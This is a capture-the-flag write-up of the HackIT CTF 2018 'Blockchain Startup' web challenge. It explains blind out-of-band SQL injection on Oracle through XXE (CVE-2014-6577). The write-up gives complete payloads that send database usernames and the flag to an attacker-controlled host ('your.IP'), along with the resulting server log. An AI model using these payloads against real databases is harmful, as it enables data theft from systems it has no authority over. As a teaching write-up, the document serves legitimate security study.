HackIT CTF 2018

Sat, 08 Sept. 2018, 08:00 UTC — Mon, 10 Sept. 2018, 08:00 UTC
ctf.hackit.ua

Write-Up

Web Challenges - Blockchain Startup

Haboob Team

- Challenge Description

> I found this new blockchain startup. They are super-secrety, and won't ping me back, even to help the greater good. Maybe we can get one of their secrets, and they will be interested?
>
> http://185.168.130.86/

- Solution

This is an SQL injection Challenge in Oracle Database, its vulnerable parameter is the POST parameter query.

```
POST / HTTP/1.1
Host: 185.168.130.86
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://185.168.130.86/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

query=aa
```

Since the application didn't return anything in the response and we cannot see any error (Blind injection) and the hint "**(ORA-00933: SQL command not properly ended)"** was telling that we are dealing with Oracle Database, we found that there is XXE vulnerability published (CVE-2014-6577).

So after searching how can we abuse this XXE vulnerability to exploit the SQL injection, we found that oracle's XML Parser can be triggered by calling the extractvalue() function for an xmltype object which is available for all database users where we can use to trigger the blind out-of-band SQL injection using this payload to enumerate the database users :

```
query=1'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://your.IP/'||(SELECT username FROM all_users ORDER BY username)||'">%xxe;]>'),'/l') from dual)||'
```

which returns the query output in our http server logs as shown below:

```
185.168.130.86--[09/Sep/2018-21:45:36]"GET
/SYS:::SYSTEM:::OUTLN:::CTXSYS:::XDB:::ANONYMOUS:::MDSYS:::HR:::FLOWS_FILES:::APEX_PUBLIC_USER:::APEX_040000:::FLAG_READER:::XS$NULL::: HTTP/1.0"
```

Then, we tried to get the flag out in the same way but it didn't show up due to encoding issue so we get empty request sent from the challenge server rather than the actual flag so we thought of encoding the flag before sending it to us. The oracle database function RAWTOHEX helps converting raw values to hexadecimal and in our case it helped extracting the flag as hexadecimal encoded. The below request simulates the described way.

query=1'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http:// your.IP /'||(select rawtohex(flag) from system.flag)||'">%xxe;]>'),'/l') from dual)||'